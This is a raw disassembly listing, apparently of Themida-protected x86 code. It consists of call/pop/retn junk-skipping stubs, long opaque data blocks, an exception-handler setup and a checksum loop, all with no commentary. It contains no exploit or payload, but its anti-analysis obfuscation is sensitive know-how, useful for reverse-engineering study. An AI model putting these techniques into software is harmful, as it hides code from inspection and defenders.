and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D09A9 proc near ; CODE XREF: Themida_:005D09A1p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5D09A9 endp
; ---------------------------------------------------------------------------
db 26h, 0A1h, 66h
; ---------------------------------------------------------------------------
ror byte ptr [edi], cl
mov bh, 0DEh
loc_5D09C0: ; CODE XREF: Themida_:005D0950j
push dword ptr [ebp+7ABBB2Bh]
push 0
push eax
call sub_5D09D1
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D09D1 proc near ; CODE XREF: Themida_:005D09C9p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D09D1 endp
; ---------------------------------------------------------------------------
db 19h, 0E4h, 65h
; ---------------------------------------------------------------------------
push ebp
mov [ebp+7A80059h], eax
jmp loc_5D09FD
; ---------------------------------------------------------------------------
cmpsd
retf 96C1h
; ---------------------------------------------------------------------------
dd 0F6E35487h, 0B73A9D84h
; ---------------------------------------------------------------------------
xchg eax, esi
loc_5D09FD: ; CODE XREF: Themida_:005D09EBj
call dword ptr [ebp+7A810D5h]
or di, 0A3Fh
jmp loc_5D0A15
; ---------------------------------------------------------------------------
xchg eax, edx
mov ebx, 0C60194A4h
push ebp
dec ecx
loc_5D0A15: ; CODE XREF: Themida_:005D0A08j
push dword ptr [ebp+7ABBB2Bh]
push 0
push edx
call sub_5D0A26
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D0A26 proc near ; CODE XREF: Themida_:005D0A1Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5D0A26 endp
; ---------------------------------------------------------------------------
dw 2036h
dd 0E2439A54h, 0E0816060h, 4299B73Eh, 4CC88161h, 61664184h
dd 0B3995FFh, 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 0B5DF6FC3h, 25AA1C3Dh, 9D89E232h
dd 7A82B19h, 31F5BD83h, 0F0207A8h, 6384h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 2BAC22A1h, 0A834E59Dh, 859D8B07h, 8B07A834h, 0A80485BDh
dd 81858B07h, 0F07A829h, 0C6F9BFh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 85E0932Fh
dd 0BD8927D5h, 7A80601h, 21C985C7h, 7A8h, 10E90000h, 0DD000000h
dd 405F3270h, 7753DBD3h, 467290D1h, 0E9A98751h, 0FFFFF275h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 40C35747h
dd 0B5F87951h, 0CE9E0h, 87290000h, 879EC231h, 26BAC4ECh
dd 0C18BBADEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 4C35747h, 8AF41A34h, 0E0D781F9h, 0F510084h, 68Dh
dd 199D8B00h, 8D07A803h, 0A8042585h, 0DBDF8107h, 904687ECh
dd 8E00BF66h, 0FE950h, 0ADCE0000h, 7592CD73h, 3630529h
dd 39A1A39Ch, 6A9017h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0EA98C3h, 0AD817BCCh, 0E59531BCh
dd 6A07A80Ch, 45BD0100h, 0E907A830h, 10h, 94063450h, 39D8320Bh
dd 137A00C8h, 0A345114Fh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0E37094C3h, 8205CEB2h
dd 0F663BC3h, 858DDFB7h, 7ACF92Bh, 12E9h, 0BB07B00h, 0FE5A596Eh
dd 443D2D32h, 8C4AE6BBh, 667D9062h, 0C083FB8Bh, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 665F26FDh, 8B50DE8Bh, 240489D9h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 0B1C35242h, 0D5911DBCh, 6A006Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 36197DC3h, 0EB22C6F4h, 6AEB0BDBh, 0A5858900h, 0FF07A810h
dd 0A81B3995h, 6810F07h, 8B000000h, 0A827319Dh, 3B8D8D07h
dd 6A07AB9Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 7EB6C355h, 6EFE5EA0h, 8BA62ED6h
dd 6AD1FFFAh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 8E75C353h, 460114EEh, 10E8h, 8F249500h
dd 1D95DA31h, 24036B30h, 0B58A086Dh, 0FA8B66FAh, 0A5BD835Bh
dd 107A806h, 66850Fh, 26A0000h, 0BDD78166h, 0DE990B7h
dd 80000000h, 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 56606050h
dd 61C18B5Bh, 0D78B5250h, 585A310Fh, 6A9061h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 2CF7A1C3h
dd 0D549C922h, 0FC01C33h, 95FFF9B7h, 7A814E5h, 8D8D8B60h
dd 6607A808h, 61D3A6B9h, 0DB5E9h, 0E800h, 815D0000h, 0ACF935EDh
dd 9D89F907h, 7A83429h, 8C03858Dh, 0BD2907ABh, 7A80035h
dd 21BF6690h, 850F507Dh, 2, 6A90FA8Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0B7C1C355h
dd 0DE18589h, 870F07A8h, 0
; ---------------------------------------------------------------------------
push large dword ptr fs:0
mov ebx, [ebp+7A808B5h]
mov large fs:0, esp
cmc
inc dword ptr [ebp+7A80EE5h]
clc
push 0FFFFFFFFh
mov edi, 647FB81Eh
push dword ptr [ebp+7A81961h]
push 0
push edi
call sub_5D0E24
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D0E24 proc near ; CODE XREF: Themida_:005D0E1Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5D0E24 endp
; ---------------------------------------------------------------------------
dd 81360C10h, 0F8BF0F22h, 246D95FFh, 17E907A8h, 0FC000001h
dd 9D8900B0h, 7A81969h, 858970E6h, 7A81A65h, 0DF8B71E4h
dd 31F1BD33h, 613C07A8h, 0F4830Fh, 0B5090000h, 7A81521h
dd 8BC8B60Fh, 0A82AC1BDh, 6BA07h, 890F0000h, 9, 3840Fh
dd 8B660000h, 8BC18BDEh, 0A82CE9BDh, 4E8C107h, 0F766FB8Bh
dd 718589E2h, 2B07A814h, 7DBD89C8h, 8B07A822h, 5880FD1h
dd 66000000h, 6826EF81h, 0A1E9h, 0C19D8B00h, 8B07A807h
dd 4C4C4485h, 98E7805Fh, 8B07C083h, 0A80EF5BDh, 5860F07h
dd 66000000h, 0E64FCF81h, 2B00C083h, 0A81369BDh, 0FD03B07h
dd 1883h, 0BE900h, 67CD0000h, 3558D701h, 7E3B7BFEh, 58E953h
dd 8B660000h, 0FF8D8BDFh, 8BFFFFFFh, 0A80465BDh, 1E18307h
dd 40840Fh, 85010000h, 7A81CD1h, 10E8h, 9E6DCA00h, 7C13D98h
dd 0A6960EEBh, 0E9AF98D0h, 81958901h, 5B07A80Eh, 0FFFFA583h
dd 81FEFFFFh, 694C3EEBh, 44958906h, 2B5F4C4Ch, 0A82F99BDh
dd 0E907h, 0B58D0000h, 7AC6F85h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0B5C35545h, 9676743h, 0A806A9BDh
dd 0F006A07h, 95FFFBBFh, 7A80D21h, 5DBE6660h, 0C4E0806Eh
dd 1005B961h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1A0424h, 56460000h, 110EACC3h, 0B887AAF6h, 0F898D09h
dd 0E18307A8h, 658589FCh, 0B07A800h, 0A83369BDh, 0B589FC07h
dd 7A80695h, 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 0AF4B68A7h, 0F59D8B82h
dd 8107A808h, 91CB0BF7h, 6AD22B68h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2F4BC351h
dd 0C233ADD5h, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 76F2432Ah, 880Dh, 3D9D8900h, 8B07A829h, 0A8173195h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 26D0F4F8h, 598D8BF4h, 6A07A80Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 4425C357h, 24CAF063h, 0E889898Ah, 10h, 0CEB9772Bh, 0B8A365C2h
dd 433DD254h, 0B356AAAFh, 0AA98D89h, 505F07A8h, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 55006A46h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0AC22A18Ah, 85BD836Eh, 7A818h, 0AA840Fh, 1520000h, 0A8351585h
dd 0B85F07h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 51C1C351h, 11E9h, 16175500h
dd 2BED2EBFh, 6F5EB301h, 4EC3A787h, 8D8D1435h, 7A84E4Dh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 92C35545h
dd 337A209Ch, 0DE827BBh, 0A7000000h, 0C4542A8Ah, 610727E2h
dd 775DC38Ch, 6800Fh, 8D890000h, 7A82D11h, 0FE85Fh, 9F3B0000h
dd 8E64B6C8h, 5F335E2Fh, 0E1E94FDBh, 0E5858928h, 5F07A833h
dd 0B509E1FFh, 7A83569h, 939BD83h, 0F0007A8h, 43584h, 0B70F5100h
dd 0BD835BD9h, 7A80939h, 3E840F01h, 6A000004h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 7F68C350h, 66FC6B2Bh, 0E1649F47h, 939BD83h, 0F0307A8h
dd 3D686h, 45BD3300h, 6007A823h, 0E759D0Bh, 0BB6607A8h
dd 8C6648F6h, 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 6CE6052Ah, 0E180B34Bh, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 7A21545Dh, 46DF813Ah, 8103D2C4h, 0A377C3E3h, 0FC90A1Bh
dd 14284h, 33EAB300h, 0A80F99BDh, 0B1858B07h, 0E907A80Bh
dd 10h, 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 28718533h
dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 0B05527C3h, 9F121C45h, 860F7959h, 3, 90FEBF0Fh
dd 8A0F5250h, 3, 0FF98B66h, 0D88B6631h, 9050585Ah, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 1BC35141h, 263751D6h
dd 28219D8Bh, 6A07A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0DFC35343h, 34538A76h, 8589C2DBh, 7A80DD9h
dd 4E8h, 1F03FF00h, 8E900h, 52740000h, 6EA2B22Fh, 0E8509892h
dd 0Eh, 0E66212D1h, 8BA73FC3h, 29F67E94h, 8B668FC0h, 448B5FDFh
dd 0BF660424h, 8B2D1Dh, 985773BFh, 24448943h, 4830F04h
dd 66000000h, 58C10BBFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 0D0C35343h, 53995FFh, 0BB6607A8h, 858924E4h
dd 7ABBB2Bh, 0D5DF8166h, 14EE9ECh, 9ABF0000h, 8B245E6Ah
dd 0ABBB2385h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 0A0CAA421h, 0C74E81AAh
dd 1800h, 0FB8B6600h, 0BB27B58Bh, 8B6607ABh, 0CD858BF8h
dd 6A07A80Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0B766C352h, 510689D2h, 0B1858B5Bh
dd 6A07A80Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 4033C355h, 0BF0FDA67h, 44689FBh
dd 2AB5B509h, 605007A8h, 850FC88Bh, 0
; ---------------------------------------------------------------------------
popa
mov [esp], esi
push 0
push ebp
call sub_5D1483
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1483 proc near ; CODE XREF: Themida_:005D147Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5D1483 endp
; ---------------------------------------------------------------------------
db 11h
dd 0FB38D5Dh, 58Ah, 0AA70BF00h, 0E8502BF1h, 0Dh, 75623B7Fh
dd 47E2A479h, 235D97DBh, 5B5BFC82h, 0BB23B5FFh, 0BB6607ABh
dd 9D31BDE5h, 7A814A9h, 16817A68h, 2404819Ah, 66088285h
dd 0FE9h, 7F61D800h, 229E772Ah, 0B5EF713h, 5B6CD62Ch, 0BB2B858Dh
dd 852907ABh, 7A80791h, 7E990h, 210D0000h, 0F6E55431h
dd 890F5026h, 5, 0EC081EBBh, 8589907Dh, 7A8152Dh, 53995FFh
dd 958907A8h, 7A80C8Dh, 50006A61h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 3810FA1h, 80000000h, 85C7B5EFh
dd 7A80939h, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 98C35242h, 0E4F6A16h, 0FEDA472h, 0BD83FFB7h, 7ABBB2Bh
dd 7C840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 1BAC355h, 0E35DD7ACh
dd 9D89FF49h, 7A81809h, 69E9h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0CF9952C6h
dd 662E95F5h, 0E895D7BBh, 0Fh, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h
dd 60CC0C06h, 0AE95B53h, 0B6000000h, 0B72C9A4Fh, 0AB7D7B68h
dd 505F6107h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h
dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 5240D8C3h, 2EB6F283h, 80CA0546h
dd 0CFBF4FF3h, 0F2B42B5h, 586h, 0DB816600h, 12E91648h
dd 3F000000h, 7E67D461h, 0A84729E7h, 6093AFC2h, 0B1BCA5F2h
dd 39BD835Ah, 307A809h, 43E850Fh, 11E90000h, 7D000000h
dd 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah, 465BD8Bh
dd 0BD8307A8h, 7ABBB2Bh, 15840F00h, 0BF000004h, 426E24F4h
dd 28A0Fh, 0D98B0000h, 0BB2BB5FFh, 9D8907ABh, 7A83331h
dd 247595FFh, 88B707A8h, 66CCBF66h, 0BB1FB58Bh, 0CF8107ABh
dd 4D1F5BD5h, 106C7h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 30AD4DC3h, 8955DEDBh
dd 0A8247195h, 8B665007h, 243489DAh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 6AC35646h, 0F52B552h, 68Eh
dd 0ED9D8B00h, 8007A805h, 0EE806F3h, 1E000000h, 0B238530Eh
dd 19DCC8C5h, 4DFEAFB7h, 0D99529BEh, 5F07A810h, 0BB2BB5FFh
dd 6A07ABh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 0B120B9C3h, 0E595FF76h, 6A07A823h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0EA99C353h, 0E4D9DE77h, 4AEECC25h, 1FB58BF8h, 8907ABBBh
dd 0A8250985h, 41858B07h, 6607A829h, 89F311BBh, 0C486h
dd 0A59D8B00h, 8B07A829h, 0A8173195h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 1278F2E5h, 0A98D89C3h, 5207A804h, 9E9h, 377FA400h, 0F77D1F4h
dd 835F30BDh, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0F33B1EC3h, 8166F4D1h, 89751CDFh
dd 9D8B2050h, 7A80CE5h, 0CFC1858Dh, 9D8B07ABh, 7A810D9h
dd 0B88689h, 0F8600000h, 32D1BD89h, 6A6107A8h, 13E96000h
dd 0C0000000h, 49B5D37Ah, 8EE25549h, 47D07B1Dh, 5F305159h
dd 61F886BEh, 0BB2BB5FFh, 6A07ABh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 30496C3h, 0A8D33FCFh
dd 8D8970FEh, 7A80CF5h, 14E595FFh, 0BF6607A8h, 8A961C30h
dd 0CE850D8h, 1F000000h, 97299787h, 2235248Bh, 0E82CA278h
dd 0Dh, 0E0DA5A7Dh, 0FC9EE942h, 0E83084ABh, 5F5F510Dh
dd 6A965Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 8BA5B0C3h, 0A803719Dh, 2BB5FF07h, 6A07ABBBh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0B440C350h, 398589C1h, 0FF07A823h, 0A81D0995h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h
dd 0C3504000h, 0E9C431B1h, 245D9E98h, 8B66C5D7h, 0FDBD83F9h
dd 7A81Dh, 42840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0D3F9CBC3h, 0F9F8C5A2h
dd 0EE950h, 8CA30000h, 8F4CBEE5h, 0B7BA1769h, 8A2C1F16h
dd 66243489h, 8D01DA8Bh, 7A810B5h, 0BB2BB5FFh, 6A07ABh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 96415DC3h, 0FBA86607h, 0D595FF63h, 5607A810h, 0FE9h
dd 4C8F0900h, 0FEDDF10Eh, 0A27EA853h, 7EC9F1C2h, 2BB5FF5Fh
dd 0BB07ABBBh, 1AB48E8h, 0B3995FFh, 6A07A8h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 9782D1C3h
dd 0E339BBBAh, 0BD8B5D04h, 7A809F5h, 31F5BD83h, 0F0207A8h
dd 5A84h, 8BDF8B00h, 0A8298185h, 9E96007h, 5E000000h, 0AAC6ACDAh
dd 655D3937h, 10E8h, 7FF49500h, 0F141CC7h, 9DCD9470h, 0B47DDA89h
dd 759D03ECh, 5907A819h, 0C661h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0FEC35242h, 0BD9D8B3Dh, 0C707A823h
dd 0A821C985h, 7, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 3404C1E8h, 0F98AF41Ah
dd 5810F7Ch, 66000000h, 0AED5CF81h, 0FFF31BE9h, 55006AFFh
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 0D5438399h, 8E975h, 0F7C0000h, 8595B2E8h, 0C18BCD48h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 2BC35040h
dd 43015B88h, 66562CD3h, 5B3C82BBh, 1C158D89h, 858D07A8h
dd 7A80425h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 43C35242h, 0C9FDEF9Dh, 27949252h, 79BD8B99h, 5007A823h
dd 0E8525053h, 5, 779A70F5h, 310F5F8Eh, 6E8h, 39A5B100h
dd 5B6CE2D3h, 895B585Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 10E83DC3h, 14E970h, 887A0000h
dd 0EA88390h, 1B6EBD75h, 0EF368256h, 0F0DEBC1Ch, 8B66E37Fh
dd 81006ADAh, 0E6BB65E3h, 66006A10h, 8950D88Bh, 0A825BD95h
dd 858D5B07h, 7AD095Ah, 0CE9h, 460AE800h, 0D5C0AFB9h, 0FDC3EC74h
dd 0B19D8B75h, 8307A830h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 7811B8C3h, 0F645622Bh
dd 8D899D46h, 7A83561h, 89F98B50h, 6A2404h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0E56534C3h
dd 336237FDh, 0A83165BDh, 29006A07h, 0A825B195h, 6A006A07h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 89A4C353h, 0A80F0195h
dd 13E807h, 5C20000h, 3A4880Eh, 87DE3D2Fh, 4E7A5DACh, 4293718Eh
dd 0F98589EAh, 5B07A831h, 1B3995FFh, 0BD8907A8h, 7A81E45h
dd 9A3B8D8Dh, 9D3107ABh, 7A81095h, 0D1FF16B7h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1C35242h, 7D858960h
dd 3107A829h, 0A815119Dh, 70BF6107h, 834F9BB0h, 0A806A5BDh
dd 850F0107h, 0B7h, 693DBF56h, 6A5F0DA6h, 52006A02h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 7E9B7h, 2FF0000h, 8AFB2137h, 8E89026h, 0D9000000h, 0F07F8777h
dd 50CD08D6h, 0AE952h, 0EDBA0000h, 57F3213Fh, 0CD7B983Ch
dd 5E9310Fh, 7F000000h, 47189AA3h, 505F585Ah, 5E8h, 0BBE64A00h
dd 905BF6A8h, 6860Fh, 0BD010000h, 7A82645h, 14E595FFh
dd 6A07A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 8970DAC3h, 14E957h, 0C2180000h, 93513ABFh
dd 6BF77622h, 6035B2C8h, 0B826BC44h, 0E95BF4C1h, 0D85h
dd 0E8h, 0ED815D00h, 7AD0964h, 6ADBB3h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8D2F68C3h
dd 0AB8C0385h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 75CE074h, 8B0F879Ch, 7
dd 1870Fh, 50FC0000h, 801CBF66h, 6A240489h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9B09C357h
dd 35FF64F9h, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5D1E5F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1E5F proc near ; CODE XREF: Themida_:005D1E57p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5D1E5F endp
; ---------------------------------------------------------------------------
aOpCrWsfNrAIFlD db 'oÒ–R',9,'WSf»n[)%',0Ah
db '¨',7,'f‹Þd‰%',0
align 4
sub di, 0B5D2h
inc dword ptr [ebp+7A80EE5h]
mov edi, 43551C36h
push 0FFFFFFFFh
push 0
push ebx
call sub_5D1EA9
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1EA9 proc near ; CODE XREF: Themida_:005D1EA1p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D1EA9 endp
; ---------------------------------------------------------------------------
mov byte ptr [ebp+1485E9BBh], 0F6h
imul ebx
push ds
mov [ebp+7A82A2Dh], eax
stc
push dword ptr [ebp+7A805FDh]
jmp loc_5D1EE5
; ---------------------------------------------------------------------------
db 0E0h, 0DDh, 0D7h
; ---------------------------------------------------------------------------
test [eax+ecx*2+232D50EAh], ch
push edx
adc al, 95h
aaa
or cl, [ebx]
loc_5D1EE5: ; CODE XREF: Themida_:005D1ED0j
call dword ptr [ebp+7A8246Dh]
jmp loc_5D1FFC
; ---------------------------------------------------------------------------
dd 2985BD8Bh, 0B007A8h, 70E6F3B7h, 3ABABF66h, 0B70F71E4h
dd 0F613CD8h, 0EF83h, 958B6000h, 7A81BD1h, 27E5958Bh, 0F6107A8h
dd 0BD2BC8B6h, 7A82D01h, 6BAh, 8BC18B00h, 0A8004D9Dh, 4E8C107h
dd 89D98B66h, 0A83165B5h, 0E2F76607h, 5880Fh, 81660000h
dd 8B3831EBh, 0A82A9D9Dh, 66C82B07h, 0D18BF98Bh, 2A7EE781h
dd 99E91BAFh, 66000000h, 858BDA8Bh, 47554C50h, 2E45BD8Bh
dd 0C08307A8h, 2D858907h, 8307A80Dh, 34B300C0h, 830FD03Bh
dd 39h, 20880Fh, 14E80000h, 68000000h, 1F0B5F23h, 9D562C8Bh
dd 193F55C4h, 83679FC0h, 8990E631h, 0A823E185h, 49E95F07h
dd 0F000000h, 28Ch, 0B5B5300h, 0A834C59Dh, 0FF8D8B07h
dd 66FFFFFFh, 0E183D88Bh, 29840F01h, 1000000h, 0A8197DB5h
dd 0FFA58307h, 0FEFFFFFFh, 68A0Fh, 95290000h, 7A82F61h
dd 4C509589h, 8ABF4755h, 0E96126A8h, 0
; ---------------------------------------------------------------------------
loc_5D1FFC: ; CODE XREF: Themida_:005D1EEBj
lea esi, [ebp+7AC7F8Ah]
push 0
push eax
call sub_5D200D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D200D proc near ; CODE XREF: Themida_:005D2005p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5D200D endp
; ---------------------------------------------------------------------------
dec eax
scasd
fstp1 st(3)
mov [ebp+7A83559h], ebx
push 0
push 0
push edx
call sub_5D2034
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2034 proc near ; CODE XREF: Themida_:005D202Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5D2034 endp
; ---------------------------------------------------------------------------
pushf
xor esi, [ebp+664B4529h]
sub ebx, 95FFDB4Ah
and ds:6A07A8h, ecx
push edi
call sub_5D2060
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2060 proc near ; CODE XREF: Themida_:005D2058p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5D2060 endp
; ---------------------------------------------------------------------------
dd 9059D4D3h, 37452D8Ah, 9D31993Ah, 7A8049Dh, 11C6B9h
dd 83D98B00h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 6CDD3FC3h, 1B4EB1A8h, 45858976h
dd 8907A82Eh, 0A817B19Dh, 6AFC07h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 318E0EC3h, 9C8FD90Bh
dd 0E9C5398Fh, 0Dh, 0AFBC1B3Ch, 0C4690AADh, 0B6E83361h
dd 0FC02BC4h, 0A86h, 870F6000h, 0
; ---------------------------------------------------------------------------
push eax
pop esi
popa
sub edx, edx
mov edi, [ebp+7A81DDDh]
loc_5D210B: ; CODE XREF: Themida_:005D2115j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D210B
push 0
push ebp
call sub_5D2122
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2122 proc near ; CODE XREF: Themida_:005D211Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5D2122 endp
; ---------------------------------------------------------------------------
dw 0F141h
dd 0F9D328Eh, 688h, 19D8B00h, 6A07A806h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AB41C353h
dd 23F6804Bh, 0A804659Dh, 880D07h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C21F4CC3h
dd 0FBFBDCCh, 1731958Bh, 0FB8B07A8h, 0A598D8Bh, 0BD8B07A8h
dd 7A81A9Dh, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 0F5CD67C3h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 9AC35040h, 8F26ED6Bh, 9D897423h, 7A8103Dh
dd 1885BD83h, 0F0007A8h, 7184h, 28D0F00h, 0B7000000h, 0B83Fh
